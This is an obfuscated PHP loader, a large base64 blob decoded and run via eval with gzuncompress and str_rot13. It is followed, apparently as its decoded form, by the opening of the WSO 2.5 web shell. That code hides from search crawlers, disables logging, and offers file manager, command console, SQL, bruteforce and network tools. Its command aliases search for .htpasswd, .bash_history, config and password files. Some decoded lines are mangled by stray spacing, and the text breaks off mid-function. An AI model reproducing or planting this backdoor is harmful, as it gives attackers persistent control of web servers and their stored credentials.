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',);$x = implode("", $array);$b64 = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$r13 = "\x73\x74\x72\x5f\x72\x6f\x74\x31\x33";$gzc = "\x67\x7a\x75\x6e\x63\x6f\x6d\x70\x72\x65\x73\x73";eval($gzc($b64($r13($x))));?>
Soit :
Code PHP :
<?php ?><?php
$auth_pass = "ce1b8c6b0d881e7c7199cf2d0a3228b2" ; //ololo11 ;
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if (get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if (!empty($auth_pass)) {
if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
}
if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
else $os = 'nix';
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if (isset($_POST['c'])) @chdir($_POST['c']);
$cwd = @getcwd();
if ($os == 'win') {
$home_cwd = str_replace("\", " / ", $home_cwd);
$cwd = str_replace("\", " / ", $cwd);
}
if($cwd[strlen($cwd) - 1] != '/')
$cwd .= '/';
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
if($os == 'win')
$aliases = array(
"ListDirectory" => "dir",
"Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
"Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
"Showactiveconnections" => "netstat - an",
"Showrunningservices" => "netstart",
"Useraccounts" => "netuser",
"Showcomputers" => "netview",
"ARPTable" => "arp - a",
"IPConfiguration" => "ipconfig / all"
);
else
$aliases = array(
"Listdir" => "ls - lha",
"listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
"showopenedports" => "netstat - an | grep - ilisten",
"processstatus" => "psaux",
"Find" => "",
"findallsuidfiles" => "find / -typef - perm - 04000 - ls",
"findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
"findallsgidfiles" => "find / -typef - perm - 02000 - ls",
"findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
"findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
"findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
function wsoHeader() {
if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
var p1_ = '" . ((strpos(@$_POST['p1'], "
") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
var p2_ = '" . ((strpos(@$_POST['p2'], "
") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
var p3_ = '" . ((strpos(@$_POST['p3'], "
") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace ? $totalSpace : 1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
if (!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n = count($path);
for ($i = 0;$i < $n - 1;$i++) {
$cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
$cwd_links.= "\")'>" . $path[$i] . "/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
$m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
$drives = "";
if ($GLOBALS['os'] == 'win') {
foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
$drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
}
echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
' . ($GLOBALS['os'] == 'win'?' < br > Drives:
':'') . ' < / span > < / td > '
. ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ')
. ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
